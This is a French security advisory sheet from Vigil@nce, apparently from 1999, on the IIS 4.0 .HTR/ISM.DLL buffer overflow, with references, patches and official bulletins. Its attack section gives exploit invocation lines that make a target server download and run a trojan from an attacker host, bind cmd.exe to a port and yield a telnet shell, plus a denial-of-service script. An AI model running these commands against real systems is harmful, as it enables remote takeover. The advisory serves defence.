| Gravité de la vulnérabilité : 4 (aide) |
| Niveau de compétence nécessaire à l'attaquant : initié (aide) |
| Sensibilité de la vulnérabilité : confidentiel client (aide) |
| Confiance en cette vulnérabilité : sûr et testé (aide) |
| Provenance de l'attaque : internet (aide) |
| Cause de la vulnérabilité : implémentation (aide) |
| Popularité de la vulnérabilité : public (aide) |
| Référence(s) croisée(s) : - BUGTRAQ-0307 (aide) |
| Catégorie(s) : (aide) - buffer overflow (débordement de mémoire tampon) - installation par défaut |
| Conséquence(s) de l'attaque : (aide) - exécution de programme |
| Composant(s) vulnérable(s) : - IIS 4.0 |
Présentation Générale
| Synthèse : Par un "buffer overflow", il est possible de faire exécuter du code à distance sur un serveur Microsoft Internet Information Server 4.0 (IIS). |
| Description technique : Les utilisateurs de Windows NT peuvent changer leur mot de passe en utilisant le serveur web IIS. En effet, il leur suffit d'utiliser les formulaires situés dans le répertoire /iisadmpwd/ du serveur. Cette fonctionnalité est implémentée dans un ensemble de fichiers ayant l'extension ".HTR" qui sont gérés par le filtre ISAPI : ISM.DLL. La vulnérabilité concerne une non-vérification du buffer d'entrée dans ISM.DLL. Ainsi, en passant une longue URL à ISM.DLL, un "buffer overflow" apparaît. Par exemple, en envoyant un nom de fichier ".HTR" très long (environ 3000 caractères), IIS se bloque. Ceci peut permettre de provoquer un déni de service. Pour rétablir, il n'est pas nécessaire de rebooter le serveur Windows NT, mais il faut relancer IIS. Si le nom de fichier ".HTR" très long contient du code exécutable, il est possible d'exécuter ce code sur le serveur IIS. |
| Date d'apparition la vulnérabilité : 15/06/1999 (aide) |
| Avis d'expert : Le filtre ISAPI .HTR/ISM.DLL est installé par défaut sur les serveurs IIS 4. Beaucoup de serveurs sont donc vulnérables à cette attaque. |
|
Informations provenant du Web : eEye Advisory (anglais) (sauvegarde en local datant du 16/06/1999) eEye - Press Relations (anglais) (sauvegarde en local datant du 16/06/1999) IIS HTR hole allows attackers to execute arbitrary code (anglais) (sauvegarde en local datant du 17/06/1999) |
|
Informations provenant des newsgroups et mailing-list : Re: ALERT - Really bad IIS4.0 security flaw (Andrew Bastien - 15/06/1999 - winnt-l@peach.ease.lsoft.com) Update to IIS hole. (Marc - 16/06/1999 - bugtraq@netspace.org) Re: IIS Remote Exploit (injection code) (Ethan Benatan - 16/06/1999 - bugtraq@netspace.org) Re: IIS Remote Exploit (injection code) (Dug Song - 16/06/1999 - bugtraq@netspace.org) Diversity (was: IIS Remote Exploit (injection code)) (Crispin Cowan - 16/06/1999 - bugtraq@netspace.org) Diversity (was: IIS Remote Exploit (injection code)) (Alain Thivillon - 16/06/1999 - fr.comp.securite) Liste NT de l'OSSIR (Denis Ducamp - 16/06/1999 - nt-securite@ossir.org) Diversity (was: IIS Remote Exploit (injection code)) (Pierre Vandevenne - 17/06/1999 - fr.comp.securite) |
Mise en oeuvre de l'attaque
| Niveau de compétence nécessaire : initié (aide) |
| Description technique : Le programme fourni permet de provoquer le "buffer overflow", de télécharger et d'exécuter un cheval de Troie depuis un serveur Web. Le cheval de Troie utilisé est ncx.exe. Il lie le port 80 au programme cmd.exe. (l'exécutable ncx99.exe écoute le port 99 au lieu du port 80). Le code source de l'exploit est fourni dans le fichier iishack.asm (ou tesoiis.c pour la version Unix). Pour attaquer le serveur "ServeuràAttaquer.com" sur le port 80 et que celui-ci télécharge le programme ncx.exe depuis NotreServeur.com : iishack ServeuràAttaquer.com 80 NotreServeur.com/ncx.exe (ou pour la version Unix : ./tesoiis ServeuràAttaquer.com 80 NotreServeur.com/ncx.exe) Le serveur IIS est alors bloqué et le programme ncx.exe est téléchargé et exécuté. Il suffit ensuite de faire un telnet sur le port 80 : (ou 99 avec ncx99.exe) telnet ServeuràAttaquer.com 80 Et on a alors accès à tout le système. |
| Procédure essayée : oui |
| Commentaire sur l'essai : Sur certains serveurs web, il est seulement possible de mener un déni de service |
| Commentaire général : Une version Unix est disponible dans le répertoire correspondant |
|
Informations provenant du Web : eEye Advisory - Exploit (anglais) (sauvegarde en local datant du 16/06/1999) |
|
Informations provenant des newsgroups et mailing-list : iis4 remote exploit ported (typo - 16/06/1999 - bugtraq@netspace.org) |
|
Répertoires locaux : Cheval de Troie NCX Répertoire source de IIS-Hack |
| Niveau de compétence nécessaire : initié (aide) |
| Configuration requise : Windows NT |
| Description technique : - Compiler le programme (à l'aide de Visual C++, par exemple). - Ouvrir une fenêtre DOS - Taper : IIS-Injector AdresseIPduServeuràAttaquer 80 ChevalDeTroie Le fonctionnement est le même que IISHACK |
| Procédure essayée : non |
|
Informations provenant des newsgroups et mailing-list : IIS Remote Exploit (injection code) (Greg Hoglund - 16/06/1999 - bugtraq@netspace.org) |
|
Répertoires locaux : Cheval de Troie NCX Répertoire source de IIS-Injector |
| Niveau de compétence nécessaire : initié (aide) |
| Moyens logiciels : Perl 5 |
| Description technique : Ce script provoque un déni de service sur IIS. L'exécuter : ./exploit.pl AdresseIPdeLaMachineAattaquer |
| Procédure essayée : non |
|
Informations provenant du Web : RootShell (anglais) (sauvegarde en local datant du 16/06/1999) |
|
Répertoires locaux : Exploit en PERL |
Installation d'une parade
| Niveau de compétence nécessaire : initié (aide) |
| Description technique : Si le service n'a pas besoin des fichiers HTR, il est possible de les désactiver. - Démarrer "Gestionnaire des services internet". - Double-cliquer sur "Internet Information Server" - Bouton droit sur le nom de la machine et sélectionner "Propriétés" - Sélectionner "Service WWW" et cliquer sur "Modifier" - Cliquer sur "Répertoire de base", et sur "Configuration" - Sélectionner la ligne qui contient " ".HTR"" et cliquer sur "Supprimer" - Valider |
| Procédure essayée : oui |
| Niveau de compétence nécessaire : initié (aide) |
| Description technique : Un patch de Microsoft est disponible. Taper dans une fenêtre DOS : - extfixi pour une machine intel ou - extfixa pour une machine alpha. |
| Procédure essayée : non |
| Commentaire général : Pour l'instant, seule la version américaine du patch est disponible |
|
Informations provenant du Web : Patch de Microsoft pour IIS (anglais) (sauvegarde en local datant du 18/06/1999) |
|
Informations provenant des newsgroups et mailing-list : Alert: Microsoft Security Bulletin (MS99-019) - IIS Fix Available (Russ Cooper - 18/06/1999 - ntbugtraq@listserv.ntbugtraq.com) |
| Niveau de compétence nécessaire : initié (aide) |
| Description technique : Ce patch permet de limiter les requêtes .htr à 255 caractères. Ainsi, il n'y a plus de "buffer overflow". L'adresse IP de la personne qui a essayé de provoquer la vulnérabilité est logguée dans les fichiers logs de l'application. Instructions: - Dézipper dans un répertoire temporaire le contenu du fichier ogle.zip. - Double-cliquer sur le fichier ".reg" - Lancer le "Gestionnaire des services internet" et sélectionner le serveur à protéger. - Cliquer sur le filtre ISAPI. - Cliquer sur Ajouter et entrer OGLE comme nom et parcourir le fichier ogle.dll. - Cliquer sur Ok - Confirmer |
| Procédure essayée : non |
|
Informations provenant du Web : eEye Advisory - Patch (anglais) (sauvegarde en local datant du 18/06/1999) |
|
Répertoires locaux : Patch de eEye |
| Niveau de compétence nécessaire : initié (aide) |
| Moyens matériels : Visual Basic 5 SP3 |
| Description technique : Un petit programme en VB permet de mettre à jour automatiquement IIS en enlevant le mappage ISM.DLL. Cela permet de mettre à jour plusieurs serveurs IIS. - Compiler le programme avec Visual Basic 5 - L'exécuter |
| Procédure essayée : non |
|
Informations provenant des newsgroups et mailing-list : Re: Update to IIS Remote Hole. (Russ - 16/06/1999 - ntbugtraq@listserv.ntbugtraq.com) RE: [NTSEC] CRITICAL! Buffer overflow that affects 90% of IIS4.0 machines (Nelson Bunker - 16/06/1999 - ntbugtraq@listserv.ntbugtraq.com) |
|
Répertoires locaux : Patch en VB |
Annonces officielles (aide)
| Référence de l'annonce : J-048 |
| Organisme : CIAC |
| Date de l'annonce : 15/06/1999 |
| Sujet : Malformed HTR Request Vulnerability |
|
Informations provenant du Web : Annonce J-048 (anglais) (sauvegarde en local datant du 17/06/1999) |
| Référence de l'annonce : MS1999-019 |
| Organisme : Microsoft |
| Date de l'annonce : 15/06/1999 |
| Sujet : Workaround Available for "Malformed HTR Request" Vulnerability |
|
Informations provenant du Web : Annonce MS99-019 (anglais) (sauvegarde en local datant du 18/06/1999) |
| Référence de l'annonce : CA1999-07 |
| Organisme : CERT |
| Date de l'annonce : 16/06/1999 |
| Sujet : IIS Buffer Overflow |
|
Informations provenant du Web : Annonce CA99-07 (anglais) (sauvegarde en local datant du 17/06/1999) |
Suivi de la fiche
| Version : 1.00 |
| Rédaction : 16/06/1999 |
| Contrôle : 16/06/1999 |
| Modifications : Création de la fiche |
| Version :1.01 |
| Rédaction : 17/06/1999 |
| Contrôle : 17/06/1999 |
| Modifications : Ajout des annonces CERT et CIAC. Ajout de 8 messages de news généraux et de 4 message de news concernant la mise en oeuvre avec en particulier 3 sources différents. |
| Version : 1.02 |
| Rédaction : 18/06/1999 |
| Contrôle : 18/06/1999 |
| Modifications : Restructuration des procédures d'attaques Mise à jour de l'annonce de Microsoft Ajout des procédures d'installation de parades |
| Version : 1.03 |
| Rédaction : 21/06/1999 |
| Contrôle : 21/06/1999 |
| Modifications : Mise à jour de l'annonce de Microsoft Mise à jour des patchs de Microsoft Ajout du message de Russ Cooper concernant les patchs de Microsoft |
Ce document est accessible à l'adresse : http://vigilance.aql.fr/public/exemple/exemple.phtml
Copyright © 1999-2003 Alliance Qualité Logiciel. Vigil@nce est une marque d'Alliance Qualité Logiciel. Tous droits réservés.
Sur le même sujet
Ailleurs sur le site